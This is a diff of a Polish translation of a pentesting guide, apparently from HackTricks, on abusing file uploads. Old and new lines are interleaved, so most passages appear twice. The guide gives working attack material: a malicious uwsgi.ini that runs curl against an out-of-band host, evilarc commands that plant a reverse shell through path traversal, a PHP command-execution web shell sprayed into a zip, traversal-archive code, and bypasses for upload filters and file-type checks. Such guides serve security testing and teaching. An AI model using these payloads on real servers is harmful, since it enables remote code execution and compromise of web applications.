**zmienić nazwę** już przesłanego pliku (w celu zmiany extension). +- Znajdź podatność **Local File Inclusion** aby uruchomić backdoor. - **Możliwe ujawnienie informacji**: -1. Wysyłaj **wiele razy** (i w tym **samym czasie**) **ten sam plik** o **tej samej nazwie** -2. Wyślij plik o **nazwie** pliku lub folderu, który **już istnieje** -3. Wyślij plik o nazwie **"." , ".." lub "..."**. Na przykład w Apache na **Windows**, jeśli aplikacja zapisuje przesłane pliki w katalogu "/www/uploads/", nazwa pliku "." utworzy plik o nazwie "uploads" w katalogu "/www/". -4. Wyślij plik, który może być trudny do usunięcia, taki jak **"…:.jpg"** w **NTFS**. (Windows) -5. Wyślij plik w **Windows** z **niedozwolonymi znakami** w nazwie, takimi jak `|<>*?”`. (Windows) -6. Wyślij plik w **Windows** używając zastrzeżonych (**zakazanych**) nazw takich jak CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, i LPT9. -- Spróbuj też **wgrać plik wykonywalny** (.exe) lub **.html** (mniej podejrzane), który **wykona kod** po przypadkowym otwarciu przez ofiarę. +1. Wgraj **kilka razy** (i w tym **samym czasie**) ten **sam plik** o **tej samej nazwie** +2. Wgraj plik z **nazwą** pliku lub **folderu**, który **już istnieje** +3. Wgrywanie pliku o nazwie ".", ".." lub "..." . Na przykład, w Apache na **Windows**, jeśli aplikacja zapisuje przesłane pliki w "/www/uploads/" katalogu, nazwa pliku "." utworzy plik o nazwie "uploads" w katalogu "/www/". +4. Wgraj plik, którego może być trudno się pozbyć, na przykład **"…:.jpg"** w **NTFS**. (Windows) +5. Wgraj plik w **Windows** z **nieważelnymi znakami** takimi jak `|<>*?”` w jego nazwie. (Windows) +6. Wgraj plik w **Windows** używając zarezerwowanych (zakazanych) nazw takich jak CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 oraz LPT9. +- Spróbuj też przesłać **pliki wykonywalne** (.exe) lub **.html** (mniej podejrzane), które **wykona kod** po przypadkowym otwarciu przez ofiarę. ### Specjalne sztuczki z rozszerzeniami -Jeśli próbujesz przesłać pliki na **PHP server**, zajrzyj do sztuczki z **.htaccess** aby wykonać kod: [https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\ -Jeśli próbujesz przesłać pliki na **ASP server**, zajrzyj do sztuczki z **.config** aby wykonać kod: ../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files +Jeśli próbujesz przesłać pliki na **PHP server**, [sprawdź trik z **.htaccess** aby wykonać kod](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\ +Jeśli próbujesz przesłać pliki na **ASP server**, [sprawdź trik z **.config** aby wykonać kod](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). -Pliki `.phar` są jak `.jar` dla Javy, ale dla PHP, i mogą być **używane jak plik php** (uruchamiane z php, lub includowane w skrypcie...). +Pliki `.phar` są jak `.jar` dla Java, ale dla php, i mogą być **używane jak plik php** (wykonywane przez php lub include'owane w skrypcie...). -Rozszerzenie `.inc` bywa czasem używane dla plików php, które są tylko używane do **importu plików**, więc w pewnym momencie ktoś mógł dopuścić **to rozszerzenie do wykonywania**. +Rozszerzenie `.inc` bywa czasem używane dla plików php, które są tylko importowane, więc możliwe, że ktoś zezwolił na **wykonywanie tego rozszerzenia**. ## **Jetty RCE** -Jeśli możesz wgrać plik XML na serwer Jetty, możesz uzyskać [RCE ponieważ **nowe \*.xml i \*.war są automatycznie przetwarzane**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Jak wspomniano na poniższym obrazku, wgraj plik XML do `$JETTY_BASE/webapps/` i oczekuj shell'a! +Jeśli możesz przesłać plik XML na serwer Jetty, możesz uzyskać [RCE ponieważ **nowe \*.xml i \*.war są automatycznie przetwarzane**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Zatem, jak pokazano na poniższym obrazku, wgraj plik XML do `$JETTY_BASE/webapps/` i oczekuj shel'a! ![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>) ## **uWSGI RCE** -Po szczegółowe omówienie tej podatności sprawdź oryginalne badanie: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). +Dla szczegółowego omówienia tej podatności sprawdź oryginalne badanie: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). -Remote Command Execution (RCE) można wykorzystać na serwerach uWSGI, jeśli atakujący ma możliwość modyfikacji pliku konfiguracyjnego `.ini`. Pliki konfiguracyjne uWSGI używają specyficznej składni do wprowadzania "magic" zmiennych, placeholderów i operatorów. Szczególnie operator '@', używany jako `@(filename)`, służy do dołączenia zawartości pliku. Spośród różnych obsługiwanych schematów w uWSGI, schemat "exec" jest szczególnie silny, pozwalając na odczyt danych z stdout procesu. Funkcja ta może zostać zmanipulowana w celach złośliwych, takich jak Remote Command Execution lub Arbitrary File Write/Read, gdy przetwarzany jest plik konfiguracyjny `.ini`. +Remote Command Execution (RCE) vulnerabilities mogą być wykorzystane na serwerach uWSGI, jeśli ktoś ma możliwość modyfikacji pliku konfiguracyjnego `.ini`. Pliki konfiguracyjne uWSGI korzystają ze specyficznej składni pozwalającej na "magic" zmienne, placeholdery i operatory. W szczególności operator '@', używany jako `@(filename)`, służy do dołączania zawartości pliku. Wśród różnych obsługiwanych schematów w uWSGI, schemat "exec" jest szczególnie potężny — pozwala czytać dane ze standardowego wyjścia procesu. Ta funkcja może być zmanipulowana do złośliwych celów, takich jak Remote Command Execution lub Arbitrary File Write/Read, gdy przetwarzany jest plik `.ini`. Rozważ następujący przykład złośliwego pliku `uwsgi.ini`, pokazujący różne schematy: ```ini @@ -156,15 +156,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com) ; call a function returning a char * characters = @(call://uwsgi_func) ``` -Wykonanie payload odbywa się podczas parsowania pliku konfiguracyjnego. Aby konfiguracja została aktywowana i sparsowana, proces uWSGI musi zostać zrestartowany (np. po crashu lub z powodu ataku Denial of Service) albo plik musi mieć włączony auto-reload. Funkcja auto-reload, jeśli jest włączona, przeładowuje plik w określonych odstępach po wykryciu zmian. +Wykonanie payload ma miejsce podczas parsowania pliku konfiguracyjnego. Aby konfiguracja została aktywowana i sparsowana, proces uWSGI musi zostać albo zrestartowany (potencjalnie po awarii lub w wyniku ataku Denial of Service) albo plik musi być ustawiony na auto-reload. Funkcja auto-reload, jeśli jest włączona, przeładowuje plik w określonych odstępach po wykryciu zmian. -Kluczowe jest zrozumienie luźnego sposobu parsowania plików konfiguracyjnych przez uWSGI. Konkretnie, omawiany payload może być wstawiony do pliku binarnego (np. obrazu lub PDF), co dodatkowo rozszerza zakres możliwej eksploatacji. +Kluczowe jest zrozumienie luźnej natury parsowania plików konfiguracyjnych uWSGI. Konkretnie, omawiany payload może być wstawiony do pliku binarnego (takiego jak obraz lub PDF), co dodatkowo rozszerza zakres potencjalnego wykorzystania. -## **wget File Upload/SSRF Trick** +## **wget Przesyłanie plików/SSRF sztuczka** -W niektórych przypadkach możesz odkryć, że serwer używa **`wget`** do **pobierania plików** i możesz **wskazać** **URL**. W takich sytuacjach kod może sprawdzać, czy rozszerzenie pobieranych plików znajduje się na whitelist, aby zapewnić, że pobierane będą tylko dozwolone pliki. Jednak **to sprawdzenie można obejść.**\ - -The **maksymalna** długość **nazwy pliku** w **linux** to **255**, jednak **wget** obcina nazwy plików do **236** znaków. Możesz **pobrać plik o nazwie "A"\*232+".php"+".gif"**, ta nazwa pliku **obejdzie** **sprawdzenie** (ponieważ w tym przykładzie **".gif"** jest **dozwolonym** rozszerzeniem), ale `wget` **zmieni nazwę** pliku na **"A"\*232+".php"**. +W niektórych przypadkach możesz stwierdzić, że serwer używa **`wget`** do **pobierania plików** i możesz **wskazać** **URL**. W takich sytuacjach kod może sprawdzać, czy rozszerzenie pobieranych plików znajduje się na białej liście, aby upewnić się, że będą pobierane tylko dozwolone pliki. Jednakże, **tego sprawdzenia można obejść.**\ +Maksymalna długość **nazwa pliku** w **linux** to **255**, jednak **wget** obcina nazwy plików do **236** znaków. Możesz **pobrać plik o nazwie "A"\*232+".php"+".gif"**, ta nazwa pliku **obejdzie** **sprawdzenie** (ponieważ w tym przykładzie **".gif"** jest **dopuszczalnym** rozszerzeniem), ale `wget` **zmieni nazwę** pliku na **"A"\*232+".php"**. ```bash #Create file and HTTP server echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")') @@ -228,7 +227,7 @@ Here’s a top 10 list of things that you can achieve by uploading (from [here]( 9. **ZIP**: RCE via LFI / DoS 10. **PDF / PPTX**: SSRF / BLIND XXE -#### Rozszerzenie Burp +#### Burp Extension {{#ref}} @@ -254,18 +253,18 @@ ln -s ../../../index.php symindex.txt zip --symlinks test.zip symindex.txt tar -cvf test.tar symindex.txt ``` -### Rozpakowywanie w różnych folderach +### Rozpakowywanie do różnych folderów -Niespodziewane tworzenie plików w katalogach podczas dekompresji jest poważnym problemem. Pomimo początkowych założeń, że takie ustawienie może chronić przed OS-level command execution poprzez malicious file uploads, hierarchiczne wsparcie dla kompresji i możliwości directory traversal formatu archiwum ZIP mogą być wykorzystane. Pozwala to atakującym obejść ograniczenia i wydostać się z zabezpieczonych katalogów upload, manipulując funkcją dekompresji atakowanej aplikacji. +Niespodziewane tworzenie plików w katalogach podczas dekompresji stanowi poważny problem. Pomimo początkowych założeń, że taka konfiguracja może chronić przed OS-level command execution poprzez złośliwe file uploads, hierarchical compression support i możliwości directory traversal formatu archiwum ZIP mogą zostać wykorzystane. Pozwala to atakującym obejść ograniczenia i uciec z secure upload directories, manipulując funkcją dekompresji aplikacji docelowej. -Automatyczny exploit do tworzenia takich plików jest dostępny na [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Narzędzie można użyć w następujący sposób: +An automated exploit to craft such files is available at [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Narzędzie można użyć w następujący sposób: ```python # Listing available options python2 evilarc.py -h # Creating a malicious archive python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php ``` -Dodatkowo opcją jest **symlink trick with evilarc**. Jeśli celem jest plik taki jak `/flag.txt`, w systemie należy utworzyć do niego symlink. To zapewnia, że evilarc nie napotka błędów podczas działania. +Dodatkowo, **symlink trick with evilarc** jest opcją. Jeśli celem jest zaatakowanie pliku takiego jak `/flag.txt`, należy utworzyć symlink do tego pliku w swoim systemie. To zapewnia, że evilarc nie napotka błędów podczas działania. Poniżej znajduje się przykład kodu Python używanego do utworzenia złośliwego pliku zip: ```python @@ -285,11 +284,11 @@ zip.close() create_zip() ``` -**Wykorzystywanie kompresji do file spraying** +**Nadużywanie kompresji do file sprayingu** -For further details **check the original post in**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) +Szczegóły: **zobacz oryginalny wpis na**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) -1. **Tworzenie PHP Shell**: Kod PHP wykonuje polecenia przekazywane przez zmienną `$_REQUEST`. +1. **Creating a PHP Shell**: Kod PHP jest napisany tak, aby wykonywać polecenia przekazane przez zmienną `$_REQUEST`. ```php ``` -2. **File Spraying and Compressed File Creation**: Tworzy się wiele plików i składane jest archiwum zip zawierające te pliki. +2. **File Spraying and Compressed File Creation**: Tworzy się wiele plików, a następnie składany jest plik zip zawierający te pliki. ```bash root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done root@s2crew:/tmp# zip cmd.zip xx*.php ``` -3. **Modyfikacja za pomocą hex edytora lub vi**: Nazwy plików wewnątrz zip są zmieniane za pomocą vi lub hex edytora, zastępując "xxA" na "../", aby przejść do katalogów nadrzędnych. +3. **Modification with a Hex Editor or vi**: Nazwy plików wewnątrz zipa są zmieniane za pomocą vi lub edytora heksadecymalnego, zamieniając "xxA" na "../" w celu przejścia do katalogów wyżej. ```bash :set modifiable @@ -325,31 +324,31 @@ pop graphic-context ``` ## Osadzanie PHP Shell w PNG -Osadzenie PHP Shell w IDAT chunk pliku PNG może skutecznie obejść niektóre operacje przetwarzania obrazu. Funkcje `imagecopyresized` i `imagecopyresampled` z PHP-GD są szczególnie istotne w tym kontekście, ponieważ są powszechnie używane odpowiednio do skalowania i ponownego próbkowania obrazów. Możliwość, że osadzony PHP Shell pozostanie niezmieniony przez te operacje, stanowi istotną zaletę w niektórych scenariuszach użycia. +Osadzenie PHP shell w sekcji IDAT pliku PNG może skutecznie ominąć niektóre operacje przetwarzania obrazów. Funkcje `imagecopyresized` i `imagecopyresampled` z PHP-GD są szczególnie istotne w tym kontekście, ponieważ są powszechnie używane do zmiany rozmiaru i resamplingu obrazów. Zdolność osadzonego PHP shell do pozostania nienaruszonym przez te operacje stanowi znaczącą zaletę w pewnych przypadkach użycia. -Szczegółowe omówienie tej techniki, wraz z metodologią i potencjalnymi zastosowaniami, znajduje się w następującym artykule: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Ten materiał daje kompleksowe zrozumienie procesu i jego implikacji. +Szczegółowe omówienie tej techniki, wraz z metodologią i potencjalnymi zastosowaniami, znajduje się w następującym artykule: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Ten materiał zapewnia kompleksowe zrozumienie procesu i jego implikacji. -Więcej informacji: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) +More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) ## Pliki polyglot -Pliki polyglot pełnią unikalną rolę w cyberbezpieczeństwie, działając jak kameleony, które jednocześnie mogą być poprawne w wielu formatach plików. Interesującym przykładem jest [GIFAR](https://en.wikipedia.org/wiki/Gifar), hybryda działająca zarówno jako GIF, jak i archiwum RAR. Takie pliki nie ograniczają się do tej pary; możliwe są również kombinacje typu GIF i JS lub PPT i JS. +Pliki polyglot pełnią unikalną rolę w cyberbezpieczeństwie, działając jak kameleony, które mogą poprawnie istnieć w wielu formatach plików jednocześnie. Interesującym przykładem jest [GIFAR](https://en.wikipedia.org/wiki/Gifar), hybryda działająca zarówno jako GIF, jak i archiwum RAR. Takie pliki nie ograniczają się do tej pary; możliwe są także kombinacje typu GIF i JS lub PPT i JS. -Główna użyteczność plików polyglot polega na ich zdolności do obchodzenia mechanizmów bezpieczeństwa, które filtrują pliki na podstawie typu. Powszechną praktyką w różnych aplikacjach jest zezwalanie jedynie na określone typy plików do uploadu — np. JPEG, GIF czy DOC — aby ograniczyć ryzyko związane z potencjalnie niebezpiecznymi formatami (np. JS, PHP czy Phar). Jednakże polyglot, spełniając strukturalne kryteria kilku formatów jednocześnie, może potajemnie ominąć te ograniczenia. +Główną przydatnością plików polyglot jest ich zdolność do obchodzenia zabezpieczeń, które filtrują pliki na podstawie typu. Powszechną praktyką w różnych aplikacjach jest zezwalanie jedynie na określone typy plików do uploadu — jak JPEG, GIF czy DOC — aby zmniejszyć ryzyko związane z potencjalnie niebezpiecznymi formatami (np. JS, PHP czy Phar). Jednak polyglot, spełniając strukturalne kryteria kilku formatów jednocześnie, może podstępnie ominąć te ograniczenia. -Mimo swojej elastyczności, polygloty napotykają na ograniczenia. Na przykład, choć polyglot może jednocześnie funkcjonować jako plik PHAR i JPEG, powodzenie uploadu może zależeć od polityki dotyczącej rozszerzeń plików na danej platformie. Jeśli system jest rygorystyczny w kwestii dozwolonych rozszerzeń, sama strukturalna dwoistość polyglotu może nie wystarczyć, by zagwarantować jego przesłanie. +Pomimo swojej elastyczności, polygloty napotykają ograniczenia. Na przykład, choć polyglot może jednocześnie pełnić funkcję pliku PHAR (PHp ARchive) i JPEG, powodzenie jego uploadu może zależeć od polityki platformy dotyczącej rozszerzeń plików. Jeśli system jest rygorystyczny w kwestii dozwolonych rozszerzeń, sama strukturalna dwoistość polyglota może nie wystarczyć, by zapewnić jego przesłanie. -Więcej informacji: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) +More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) -### Wgrywanie prawidłowych JSON-ów tak, jakby to był PDF +### Wgrywanie poprawnych JSON-ów tak, jakby to był PDF -Jak uniknąć wykrywania typu pliku przez wgranie prawidłowego pliku JSON nawet jeśli nie jest to dozwolone, podszywając się pod PDF (techniki z **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**): +Jak uniknąć wykrywania typu pliku przez wgranie poprawnego pliku JSON, nawet gdy nie jest to dozwolone, podszywając się pod plik PDF (techniki z **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**): -- **`mmmagic` library**: Dopóki magiczne bajty `%PDF` znajdują się w pierwszych 1024 bajtach, plik jest uznawany za ważny (zobacz przykład w artykule). -- **`pdflib` library**: Dodaj fałszywy format PDF wewnątrz pola JSON, aby biblioteka uznała go za PDF (zobacz przykład w artykule). -- **`file` binary**: Potrafi czytać do 1048576 bajtów z pliku. Wystarczy stworzyć JSON większy niż ta wartość, tak aby nie mógł sparsować zawartości jako JSON, a następnie umieścić wewnątrz JSON początkową część prawdziwego PDF — wówczas narzędzie pomyśli, że to PDF. +- **`mmmagic` library**: Dopóki bajty magiczne `%PDF` znajdują się w pierwszych 1024 bajtach, plik jest uznawany za ważny (zobacz przykład w poście) +- **`pdflib` library**: Dodaj fałszywy format PDF wewnątrz pola JSON, aby biblioteka uznała go za PDF (zobacz przykład w poście) +- **`file` binary**: Program może odczytać do 1048576 bajtów z pliku. Wystarczy stworzyć JSON większy niż ta wartość, tak by nie mógł sparsować zawartości jako JSON, a następnie w środku JSON umieścić początkową część prawdziwego PDF — narzędzie uzna go wtedy za PDF -## Referencje +## Źródła - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files) - [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)